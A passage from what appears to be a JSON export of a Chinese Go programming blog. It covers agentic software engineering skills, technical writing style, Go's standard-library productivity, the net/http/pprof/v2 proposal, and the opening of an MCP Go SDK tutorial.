Engineer》提出了一个更本质的观点：别怪 AI，杀死软件工程师黄金时代的，是互联网的普及。\n过去 25 年，从互联网到移动互联网的浪潮，创造了海量的工程需求，软件工程师也因此成为了时代的宠儿。但现在，这波巨大的增长红利期已经结束。\n那下一个浪潮是什么？文章给出了答案：Agentic AI (智能体 AI)。\n这不仅仅是一个新技术，它将彻底重塑我们的工作方式，重写“软件工程师”这个岗位的核心要求。这不是一次普通的更新，这是一场彻底的进化。\n告别“代码工人”，拥抱“智能体工程师” 文章预言，软件工程师不会被淘汰，而是将进化，去“驾驭”这波新的 AI 浪潮。我们将成为所谓的 “智能体软件工程师” (Agentic Software Engineer)。\n在这个新角色下，我们的工作不再是整天埋头编写成千上万行代码。AI Agent 可以比我们更快、更不知疲倦地完成这项任务。我们的核心职责，将转变为：\n一个指挥、协调、审查和运维 AI Agent 军团的专家。\n我们从亲自下场比赛的“运动员”，变成了运筹帷幄的“教练”。\nAI 时代的生存指南：你的技能升级清单 那么，要成为一名合格的“智能体软件工程师”，我们需要点亮哪些新的技能树？文章为我们梳理了一份极其宝贵的“技能升值/贬值清单”。\n技能升值 (Skills++)：这 6 项能力将是你未来的护城河 版本控制 (Version Control) Git 不再仅仅是你个人的代码管理工具，它将成为协调你与成百上千个“AI 码农”协同工作的核心骨干。你需要用它来管理 Agent 的并行工作流、审查 Agent 提交的 PR、以及在 Agent 犯错时进行回滚。精通 Git 模型，将是从业基础。\n产品思维 (“Product”) AI Agent 擅长执行，但前提是指令必须清晰。任务分解、需求定义、接口设计等产品经理的核心技能，将成为每个工程师的必备能力。如果你无法将一个模糊的想法拆解成 Agent 可以处理的、足够小的任务块，你将无法与 Agent 高效协作。\n代码审查 (Code Review) 这是未来我们耗时最多的日常工作。当 Agent 可以在 10 分钟内生成 500 行复杂的代码时，你的价值就体现在审查这些代码的正确性、可维护性和安全性上。接受吧，你正在从一个 Code Writer 变成一个 Code Editor。\n测试 (Testing) 文章说：“We’re all SDETs now.”（我们现在都是软件测试开发工程师了）。面对一个可能会“创造性”地修改代码以绕过测试的 Agent，编写精准、全面的测试用例，是约束和指导 Agent 行为的最有力工具。 那些热衷于寻找边界条件、享受“破坏”代码乐趣的工程师，将在新时代中变得极其宝贵。\n系统设计 (System Design) 未来的系统设计，需要更多地考虑如何容纳和管理不那么可靠的 Agent。你需要设计出具有清晰边界、强健接口、高度可测试性的系统，这样即使 Agent 的某个部分出错，也不会导致整个系统崩溃。\n运维 (Operations) 我们都将成为 “智能体可靠性工程师” (Agent Reliability Engineer)。你需要设计、部署、监控和调试由无数 Agent 组成的复杂网络。当仪表盘上警报响起时，你需要快速定位问题是出在哪个 Agent 的行为上。学习大规模系统的运维之道，宜早不宜迟。\n技能贬值 (Skills–)：这些技能正在被 AI 替代 LeetCode 式算法题： AI 已经能在瞬间解决大部分算法题。 语言语法熟练度： Agent 知道所有语法细节，你只需能读懂代码即可。 打字速度： AI “思考”和“打字”的速度，是人类无法企及的。 现在，立即开始行动 这篇文章给我们的不应是焦虑，而是行动的路线图。我们应该如何开始？\n亲自使用 Agent： 去尝试 Claude Code、Gemini CLI 等领先的编码智能体。找一个终端窗口，看着它工作 15 分钟，感受一下未来的工作形态。 “外包”你的日常工作： 在你现有的开发流程中，寻找那些可以“委托”给 Agent 的任务。比如：“为我刚才的提交补充单元测试”，或者“重构这个函数，让它更具可读性”。 刻意练习新技能： 将你的学习时间，有意识地投入到上述 6 项“升值技能”上。 小结：浪潮已至，要么驾驭，要么被吞没 软件工程师的“25年黄金时代”或许已经落幕，但这不意味着职业的终结。\n一个由 AI 驱动的、充满无限可能的新时代正在开启。这场变革是不可避免的，拥抱 Agent 的公司，必将“碾压”那些固步自封的公司。而能够驾驭 Agent 的工程师，也必将成为这些公司的核心。\n角色的转变或许是痛苦的，甚至会像文章所说的那样，变得有些“无聊”。我们可能会失去一些亲手创造的“流心”时刻。但这是进化的代价，也是我们保持价值的唯一途径。\n现在，拿起你的冲浪板，开始学习如何驾驭这波巨浪吧。\n成为一名“智能体软件工程师”，从今天开始。\n资料链接：https://www.dolthub.com/blog/2025-07-02-the-agentic-software-engineer\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/15/the-agentic-software-engineer/","summary":"\u003ch1 id=\"ai-正在重写软件工程师的岗位描述未来你需要这-6-项核心技能---tony-bai\"\u003eAI 正在重写“软件工程师”的岗位描述：未来你需要这 6 项核心技能 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"AI 正在重写“软件工程师”的岗位描述：未来你需要这 6 项核心技能"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/14/writing-style-guide\n大家好，我是Tony Bai。\n作为一名开发者、架构师或运维专家，我们大部分时间都在与代码、系统和架构打交道。然而，我们同样在持续不断地进行另一种形式的“编码”——沟通编码。无论是撰写一个清晰的 README.md，提交一份详尽的 Pull Request 描述，编写项目内部的技术文档，还是在社区中回答一个问题，我们都在扮演着“技术作者”的角色。\n代码的质量决定了软件能否运行，而沟通的质量则决定了项目能否高效协作、知识能否有效传承、社区能否健康发展。一份糟糕的文档，如同晦涩难懂的“面条代码”，会极大地消耗团队的精力和热情。\n最近，Redhat公司发布了《Red Hat Technical Writing Style Guide》7.1版本。这份指南不仅仅是一系列规则的集合，它更像是一部由顶级开源软件公司沉淀下来的、关于如何通过清晰沟通来提升工程效率的哲学。\n在这篇文章中，我将提炼其中的一些精髓，探讨那些能直接提升您和团队工程能力的写作原则，供大家参考。\n写作的“第一性原理”：清晰、精确、用户至上 技术文档的首要目标是传递信息，任何模糊、冗长或模棱两可的表达都是工程效率的天敌。指南强调了几个核心原则：\n1. 拥抱主动语态，指令明确无误 主动语态让指令更直接、更有力。在指导性文档中，这能显著降低读者的认知负荷。\n不推荐 (被动语态) 推荐 (主动语态) Linuxconf can be started by typing … Type … to start Linuxconf. 新的配置可以被应用通过重启服务。 重启服务以应用新的配置。 对开发者的价值：当用户（或未来的你）阅读操作手册时，清晰的指令意味着更低的出错率和更快的解决问题速度。\n2. 杜绝冗余，尊重读者的时间 避免使用不必要的填充词，让每一句话都言之有物。\n冗余 精炼 Perform the installation of the product. Install the product. This problem is located on the /dev/sda1 partition. This problem is on the /dev/sda1 partition. 3. 避免歧义：This 指的是什么？ 在技术文档中，代词（如 this, that, it）是歧义的重灾区，尤其对于翻译和非母语阅读者。指南建议明确指出代词所指代的的名词。\n- A site can use these to self-assign a private routable IP address space. + A site can use these unique local addresses to self-assign a private routable IP address space. - This causes SSH to lose the recorded identities. + This action causes SSH to lose the recorded identities. 对开发者的价值：在复杂的配置说明或问题排查指南中，消除代词歧义可以防止因误解而导致的配置错误。\n为全球化社区而写：包容性与可翻译性 开源项目和现代技术团队本质上是全球化的。我们的文档需要被不同文化背景的人阅读和翻译。\n1. 使用包容性语言 这是现代技术社区的基石。避免使用可能带有偏见或冒犯性的术语，有助于建立一个更健康、更多元化的社区环境。\nmaster/slave -\u0026gt; 推荐使用 primary/replica, controller/worker, leader/follower 等。 whitelist/blacklist -\u0026gt; 推荐使用 allowlist/denylist 或 blocklist。 性别代词 -\u0026gt; 避免使用 he/she，推荐使用中性的 they（可指代单数）或直接使用第二人称 you。 2. 为翻译而设计 糟糕的措辞会给机器翻译和人工翻译带来灾难。一些简单的规则可以极大地提升文档的可翻译性：\n避免使用俚语和行话：eat your own dogfood (使用自己的产品), boil the ocean (范围过大) 等表达在其他文化中可能完全无法理解。 慎用 may 和 should：may 可能表示“可能性”或“许可”，should 可能表示“建议”或“期望”。使用 can (可以), might (可能), must (必须) 会更精确。 避免名词堆叠：Standard system log management configuration 这种连续名词的组合，在翻译时极易出错。可以调整为 Standard configuration of system log management。 工程师的文字“代码规范”：一致性与标准化 如同 eslint 或 gofmt 为代码提供规范一样，风格指南为我们的文字提供了“格式化”标准。这能确保整个项目文档风格统一，易于阅读和维护。\n1. 统一命令语法文档 在展示命令行示例时，保持一致的格式至关重要。\n# 一个清晰的命令语法示例 $ git clone [username@]hostname:/repository_filename [directory] - 使用 $ 表示普通用户，# 表示 root 用户。 - 使用 [] 表示可选参数。 - 使用斜体或描述性词语（如 _filename_）表示 需替换的值。 - 在需要省略输出时，使用 ...output omitted... 标记，而不是随意删减。 2. 精确描述 UI 元素 当描述用户界面时，精确和简洁是关键。\n直接了当：不说 Click the Save button，而说 Click Save。 名称匹配：文档中的 UI 元素名称（如按钮、菜单项）应与界面上显示的完全一致（包括大小写）。 导航路径：使用 -\u0026gt; 或 →清晰地表示导航路径，例如：Go to Monitoring → Metrics。 3. 避免产品名称的所有格 一个看似微小但能提升专业度的细节：\n不推荐: Red Hat OpenShift’s Logging operator creates… 推荐: The Red Hat OpenShift Logging operator creates… 总结与展望：将沟通视为工程技艺 《红帽风格指南》带给我们的最大启示是：清晰、精确、专业的书面沟通不是一种“软技能”，而是工程技艺（Craftsmanship）不可或缺的一部分。它与编写高质量代码、设计健壮架构同等重要。\n下一次，当你准备提交一个 Pull Request、更新一份 README，或撰写一篇技术博客时，不妨尝试运用其中的一两个原则：\n将一个被动语态的句子改为主动语态。 检查是否有模糊的代词 it 或 this 可以被替换。 思考一下你使用的术语是否足够包容和全球通用。 投资于沟通，就是投资于整个团队的效率和项目的未来。正如一份优雅的代码令人赏心悦悦目，一份清晰的文档同样能带来极致的工程之美。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/14/writing-style-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/writing-style-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/14/writing-style-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/14/writing-style-guide\"\u003ehttps://tonybai.com/2025/07/14/writing-style-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e作为一名开发者、架构师或运维专家，我们大部分时间都在与代码、系统和架构打交道。然而，我们同样在持续不断地进行另一种形式的“编码”——\u003cstrong\u003e沟通编码\u003c/strong\u003e。无论是撰写一个清晰的 README.md，提交一份详尽的 Pull Request 描述，编写项目内部的技术文档，还是在社区中回答一个问题，我们都在扮演着“技术作者”的角色。\u003c/p\u003e","title":"代码之外的必修课：顶级技术文档风格指南如何提升你的工程效率"},{"content":"Go 的“无聊”超能力：为什么“选项更少”反而让你更快？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 的“无聊”超能力：为什么“选项更少”反而让你更快？ 七月 12, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/12/insanely-productive-in-go\n大家好，我是Tony Bai。\n在软件开发的世界里，我们总被灌输一种观念：选项越多，工具越强，生产力就越高。于是，我们追求功能最全的框架、最灵活的配置、以及最新潮的库。\n但最近，在 Reddit 的 r/golang 社区，一篇名为《我感觉用 Go 的效率高得离谱》(I feel insanely productive in Go) 的帖子引发了近百条热议。一位曾坚信 TypeScript 和 Python 是“快语言”的开发者，在亲手尝试 Go 之后，发出了“真香”的感叹。\n他发现，之前在 Node.js 生态中，光是技术选型——选择哪个运行时 (Bun? Deno?)、哪个 Web 框架 (Express? Fastify?)、哪个 ORM (Prisma? Drizzle?)——就足以耗费他整整一周的时间。他称之为**“分析瘫痪” (Analysis Paralysis)**。\n而在 Go 中，他一天之内就搭建起了项目，开始编写业务逻辑。\n这个故事并非孤例，它触动了无数从其他语言生态“迁徙”而来的开发者的心弦。它揭示了 Go 语言一个常常被误解，却又极其强大的超能力：正是那些看似“无聊”的、更少的选项，才赋予了我们惊人的生产力。\n告别“分析瘫痪”：Go 的“默认路径”之力 为什么选项更少反而更快？因为 Go 的设计哲学从一开始就在极力避免“分析瘫痪”，为开发者提供一条清晰、低阻力的“默认路径”。\n1. 强大的标准库：你的第一选择，也是最好的选择 Reddit 上的高赞评论一针见血：“在 Go 中，你不需要从一个框架开始，标准库已经提供了你需要的大部分东西。”\n想写一个 Web 服务？net/http 就是你的起点。想操作数据库？database/sql 就在那里。想处理 JSON？encoding/json 已为你备好。\n这些标准库不仅功能强大、性能卓越，更重要的是，它们是 Go 团队维护的、最稳定、最符合 Go 哲学的实现。这意味着，当你遇到问题时，你面对的是整个 Go 社区的集体智慧，而不是某个特定框架的小圈子。\n2. “小工具”生态：组合优于继承 当然，标准库并非万能。但当你需要第三方库时，你会发现 Go 的生态也与众不同。这里没有像 Java Spring 或 JavaScript React 那样“统治一切”的庞大框架)。\n取而代之的，是一个由无数“小而美”的、可组合的库构成的生态系统。比如，你需要一个更强大的路由？chi 或 gorilla/mux 可以无缝地与标准库的 http.Handler 配合。你需要一个配置库？Viper 可以专注于做好这一件事。\n这种模式的好处是显而易见的：你只引入你需要的，你的项目不会被一个臃肿的、你只用了 10% 功能的框架所绑架。\n“语言开发者” vs. “框架开发者”：Go 的纯粹之路 这种生态哲学，引出了一个更深层次的问题：你到底是一个“语言开发者”，还是一个“框架开发者”？\n在许多其他生态中，框架的存在感甚至超过了语言本身。\n一个 Java 工程师的简历上，写着“精通 Spring Boot”，这比“精通 Java”本身可能更具分量。\n一个前端工程师，很可能对 React 的生命周期了如指掌，却对 JavaScript 的原生事件循环感到陌生。\n这是因为，那些庞大的框架往往会重新定义语言的工作方式，引入大量“黑魔法”般的抽象和依赖注入。你写的是框架的 API，遵循的是框架的范式。你的技能，与这个框架深度绑定。一旦需要更换框架，或者脱离框架工作，你可能会发现自己几乎要重新学习一门“新语言”。\n而 Go 社区，自始至终都在走一条“纯粹之路”。\n这里的目标，永远是成为一个更好的 Go 开发者。因为标准库的强大和生态的“小工具”特性，无论你在哪个公司、哪个项目，你所依赖的核心思维和工具集都是一致的。你学到的 context 包的用法、interface 的设计模式、goroutine 的并发模型，这些知识具有极高的可移植性。\n你不是在学习一个框架的“方言”，而是在掌握一门通用语言的“普通话”。这不仅提升了你个人的职业安全感，也极大地保障了项目的长期可维护性。\n小结：在“约束”中寻找自由与效率 Go 的生产力优势，根植于其看似“固执”和“无聊”的约束之中。\n它通过一个强大的标准库和一套约定俗成的惯例，为你铺设了一条清晰的道路，让你免于在无穷无尽的选择中耗尽心力。\n它通过一个由小工具组成的、可组合的生态，让你专注于学习语言本身，而不是被某个庞大的框架所束缚，从而保护了你最宝贵的资产——你的知识和技能。\n最终，Go 通过减少不必要的外部认知负荷，将你最宝贵的资源——注意力——解放出来，让你能真正地聚焦于业务逻辑，聚焦于创造价值。\n这或许就是为什么，那么多开发者在体验过 Go 的“少即是多”之后，再也回不去了。因为他们发现，真正的自由与效率，恰恰来自于“恰到-好处”的约束。\n资料链接：https://www.reddit.com/r/golang/comments/1lx52vz/insanely_productive_in_go_rethinking_everything/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/12/insanely-productive-in-go/","summary":"\u003ch1 id=\"go-的无聊超能力为什么选项更少反而让你更快---tony-bai\"\u003eGo 的“无聊”超能力：为什么“选项更少”反而让你更快？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 的“无聊”超能力：为什么“选项更少”反而让你更快？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/11/net-http-pprof-v2\n大家好，我是Tony Bai。\nGo 语言的性能诊断利器 net/http/pprof 即将迎来一次意义深远的变革。一项编号为 #74544 的新提案建议引入一个全新的 net/http/pprof/v2 包，旨在从根本上解决当前版本因“默认注册”行为带来的安全隐患。该提案不仅重塑了 pprof 端点的注册方式，还计划引入对 Go 1.25 飞行记录器（Flight Recorder）的支持、动态 CPU 采样率控制等一系列新功能。本文将深入解读该提案的核心内容、API 变化及其对 Go 开发者生态的潜在影响。\n背景：net/http/pprof 的光环与隐忧 net/http/pprof 包是 Go 生产环境调试的基石，拥有超过 31,000 个公开包引用：\n开发者只需匿名导入 _ “net/http/pprof”，即可在 DefaultServeMux 上自动注册 /debug/pprof/ 下的所有诊断端点。这种“零成本”的便利性，在内部服务中广受欢迎。\n然而，正是这种“自动注册”的特性，成为了一个严重的安全隐患。对于面向公众的服务，开发者很容易因疏忽而将这些包含敏感运行时数据（如执行追踪、内存堆栈、Goroutine 信息等）的端点暴露在公网上，造成严重的数据泄露风险。提案作者 mknyszek 指出，许多大型项目都曾因此遭遇安全问题，不得不紧急修复。社区中，如 #46307 和 #42834 等 issue 也早已指出了这一设计缺陷。\n此外，当前 net/http/pprof 包的维护也相对滞后，一些来自社区（如 DataDog）的合理功能增强提案（如 #71213、#66679）积压已久。提案认为，正是因为现有包存在根本性问题，导致团队不愿意在其上继续投入，从而阻碍了其发展。\n提案核心：net/http/pprof/v2 的四大变革 为了彻底解决上述问题，提案的核心是创建一个全新的 net/http/pprof/v2 包，并引入一系列新功能以鼓励开发者迁移。\n1. 核心变革：不再默认注册，提供手动注册便利函数 v2 包最大的变化是移除了 init 函数中的自动注册逻辑。匿名导入 net/http/pprof/v2 将不会产生任何副作用。取而代之的是，开发者需要显式地将 pprof 端点注册到指定的 *http.ServeMux 上。\n为了简化这一过程，提案新增了一个便捷函数 RegisterHandlers：\n// 将所有 pprof 处理器注册到指定的 mux，路径前缀为 /debug/pprof func RegisterHandlers(mux *http.ServeMux) 对开发者的影响：\n这意味着开发者将完全控制 pprof 端点的暴露范围。例如，可以轻松地创建一个只在内网端口监听的 ServeMux 来注册 pprof 处理器，而主服务则可以安全地暴露在公网，从而彻底杜绝意外泄露的风险。\n// 生产环境推荐实践 func main() { // 主服务 Mux，面向公网 mainMux := http.NewServeMux() mainMux.HandleFunc(\u0026#34;/\u0026#34;, handlePublicRequest) go http.ListenAndServe(\u0026#34;:8080\u0026#34;, mainMux) // 诊断服务 Mux，仅监听本地回环地址 debugMux := http.NewServeMux() pprof.RegisterHandlers(debugMux) // 使用 v2 的手动注册 log.Println(\u0026#34;Serving pprof routes on http://localhost:6060/debug/pprof\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;localhost:6060\u0026#34;, debugMux)) } 2. 新功能：拥抱 Go 1.25 飞行记录器 为了提供更强大的动态诊断能力，提案建议为 Go 1.25 中引入的飞行记录器 (Flight Recorder) 新增三个专属的 HTTP 端点：\nHandleFlightRecordingStart (/debug/pprof/flightrecording/start): 通过 POST 请求启动飞行记录，并返回一个 token。 HandleFlightRecordingCapture (/debug/pprof/flightrecording/capture): 通过 GET 请求和 token，捕获最近一段时间的执行追踪快照。 HandleFlightRecordingStop (/debug/pprof/flightrecording/stop): 通过 POST 请求和 token，停止飞行记录。 对开发者的影响：\n这将允许运维人员或外部监控系统在不重启服务、不进行完整 trace 的情况下，根据外部信号（如 CPU 告警）动态地抓取系统“事发现场”的短时追踪数据，极大地提升了线上问题排查的效率和灵活性。\n3. 功能增强：动态控制 CPU 采样 提案还采纳了社区的建议，对现有的 cpu 和 trace 端点进行了增强：\nHandleCPUProfile: 新增 rate 查询参数，允许用户在请求时动态指定 CPU 采样的频率（samples per second），解决了 #57488 的需求。 HandleTrace: 新增 cpuprofiling 和 cpuprofilingrate 查询参数，允许在进行执行追踪的同时开启 CPU profiling，并将 CPU 样本事件直接注入到 trace 文件中。这解决了 #66679 中提到的问题，对于分析 trace 中的 CPU 密集型任务非常有帮助。 4. API 精简与重构 移除 Index 端点：v1 中的 Index 处理器功能与新的 RegisterHandlers 所提供的索引页功能重叠，且定制性差，因此被提议移除。 增加 cpu 端点：v2 将新增 /debug/pprof/cpu 端点，作为 /debug/pprof/profile 的别名，使其功能更加明确。 新增 AllHandlers 迭代器 (讨论中)：社区讨论中提到，为了方便用户完全自定义端点路径，可以提供一个 AllHandlers() iter.Seq2[string, http.Handler] 函数，返回所有处理器，让用户可以自由注册。 社区讨论与替代方案 提案也引发了一些讨论。例如，prattmic 建议 RegisterHandlers 应该允许用户自定义路径前缀，而不仅仅是硬编码的 /debug/pprof/。提案作者 mknyszek 则认为，提供一个标准、无需思考的默认路径是简化使用的关键，对于高度定制的场景，用户可以逐一注册 handler。\n关于直接修改 v1 包的行为，提案认为这会破坏成千上万个现有项目的兼容性，风险过高。因此，引入一个全新的 v2 包，并通过 go vet 等工具引导用户迁移，是更为稳妥的路径。\n总结与展望 net/http/pprof/v2 提案是一次意义重大的演进。它以安全为先的设计理念，修正了 Go 语言中最广为人知的“便利性陷阱”之一。通过强制开发者显式注册，它从根本上提升了 Go 应用的安全性。\n更令人兴奋的是，提案并未止步于此。它积极地将飞行记录器、动态采样率等现代化诊断功能引入 pprof，使其不再仅仅是一个被动的数据采集工具，而是向一个动态、可交互的诊断平台迈进。\n虽然这可能意味着开发者需要对现有项目进行少量代码修改，但换来的是更安全、更强大的诊断能力。我们有理由相信，这项提案一旦被接受并实现，将为 Go 语言的生产环境可观测性和问题排查能力带来一次质的飞跃。我们期待在未来的 Go 版本中看到这个 v2 包的到来。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/11/net-http-pprof-v2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/net-http-pprof-v2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/11/net-http-pprof-v2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/11/net-http-pprof-v2\"\u003ehttps://tonybai.com/2025/07/11/net-http-pprof-v2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的性能诊断利器 net/http/pprof 即将迎来一次意义深远的变革。一项编号为 \u003cstrong\u003e#74544\u003c/strong\u003e 的新提案建议引入一个全新的 net/http/pprof/v2 包，旨在从根本上解决当前版本因“默认注册”行为带来的安全隐患。该提案不仅重塑了 pprof 端点的注册方式，还计划引入对 Go 1.25 飞行记录器（Flight Recorder）的支持、动态 CPU 采样率控制等一系列新功能。本文将深入解读该提案的核心内容、API 变化及其对 Go 开发者生态的潜在影响。\u003c/p\u003e","title":"Go pprof 迎来重大革新：v2 提案详解，告别默认注册，拥抱飞行记录器"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/10/mcp-official-go-sdk\n大家好，我是Tony Bai。\n随着大型语言模型（LLM）的能力边界不断扩展，“function calling”或“tool use”已成为释放其潜力的关键。MCP（Model Context Protocol）正是为此而生，它定义了一套标准的、与模型无关的通信规范，使得任何应用都能以“工具”的形式被 LLM 调用。\n长期以来，mcp官方都没有发布go-sdk，Go社区也一直在使用像mark3labs/mcp-go这样的流行的第三方库。直到Google Go团队安排专人协助mcp组织进行了Go SDK的设计。\n7月初，该Go SDK正式以modelcontextprotocol/go-sdk仓库的形式对外开源发布，这是Go 语言在这一浪潮中的一个里程碑事件。它的意义远超一个普通的库：\n标准化与权威性：作为官方 SDK，它为 Go 开发者提供了与 MCP 规范紧密同步的、最权威的实现。这意味着更少的兼容性问题和更可靠的长期维护。 Go 语言哲学：该 SDK 的设计充满了 Go 的味道——简洁、高效、强类型和高并发。它鼓励开发者编写惯用的 Go 代码，而不是将其他语言的范式生搬硬套过来。 生态系统的基石：官方 SDK 的出现，将极大地促进 Go AI 生态的繁荣。开发者可以基于这个稳定的基石，构建出更复杂、更健壮的上层应用、框架和平台。 简而言之，它不仅仅是一个工具，更是 Go 语言与 AI 模型世界之间的一座标准化桥梁。\nMCP 服务架构：多种通信模式 MCP 协议设计了灵活的通信方式，以适应不同的部署场景。官方 Go SDK 对此提供了出色的支持。主要包括以下几种类型：\n标准输入/输出 (Stdio)：这是最简单的模式，客户端通过启动一个子进程（MCP Server），并通过其 stdin 和 stdout 进行 JSON-RPC 通信。这种模式非常适合本地工具、CLI 插件或 Sidecar 模型的场景。我们将使用此模式构建基础工具服务和文件系统服务。\nHTTP 流式传输 (Streamable HTTP)：这是 MCP 规范中最新、最推荐的 HTTP 模式。它通过一系列的 GET 和 POST 请求实现了一个可恢复的、无状态的会话管理机制，非常适合构建可扩展、高可用的网络服务。我们将使用此模式构建多路复用 HTTP 服务。\n服务器发送事件 (SSE)：这是早期 MCP 规范中的一种 HTTP 模式，在社区版 SDK 中较为常见。官方 SDK 也提供了 SSEHandler 以支持这种模式，但新的 StreamableHTTPHandler 功能更强大，是未来的方向。\n核心概念速览 尽管我们在此不深入探讨其完整的设计文档，但理解以下几个核心概念对于后续的实践至关重要：\nServer：代表一个 MCP 服务实例。它本身是无状态的，是工具（Tools）、提示（Prompts）和资源（Resources）等能力的集合。 Client：代表一个 MCP 客户端。 Session：无论是 ServerSession 还是 ClientSession，它都代表一个已经建立的、具体的、有状态的连接。所有的交互都通过会话（Session）进行。 Transport：负责建立底层通信的抽象层。它定义了客户端和服务器如何交换 JSON-RPC 消息。 Server 定义了“能做什么”，而 Session 则是“正在与谁通信”的实例。这种解耦设计为构建灵活、可扩展的服务提供了基础。\n实战：构建三种典型的 MCP 服务 现在，让我们动手构建几个实用的 MCP 服务，来体验官方 SDK 的强大功能。\n场景一：基础工具服务 (Greeter) 这是最经典的“Hello, World”场景，通过 stdio 运行，用于展示如何定义一个简单的工具。\n完整代码：greeter/main.go\n// mcp-go-sdk/greeter/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;github.com/modelcontextprotocol/go-sdk/mcp\u0026#34; ) // HiParams 定义了工具的输入参数，强类型保证 type HiParams struct { Name string json:\u0026#34;name\u0026#34; } // SayHi 是工具的具体实现 func SayHi(ctx context.Context, _ *mcp.ServerSession, params *mcp.CallToolParamsFor[HiParams]) (*mcp.CallToolResultFor[any], error) { resultText := fmt.Sprintf(\u0026#34;Hi %s, welcome to the Go MCP world!\u0026#34;, params.Arguments.Name) return \u0026amp;mcp.CallToolResultFor[any]{ Content: []mcp.Content{ \u0026amp;mcp.TextContent{Text: resultText}, }, }, nil } func main() { // 1. 创建 Server 实例 server := mcp.NewServer(\u0026#34;greeter-server\u0026#34;, 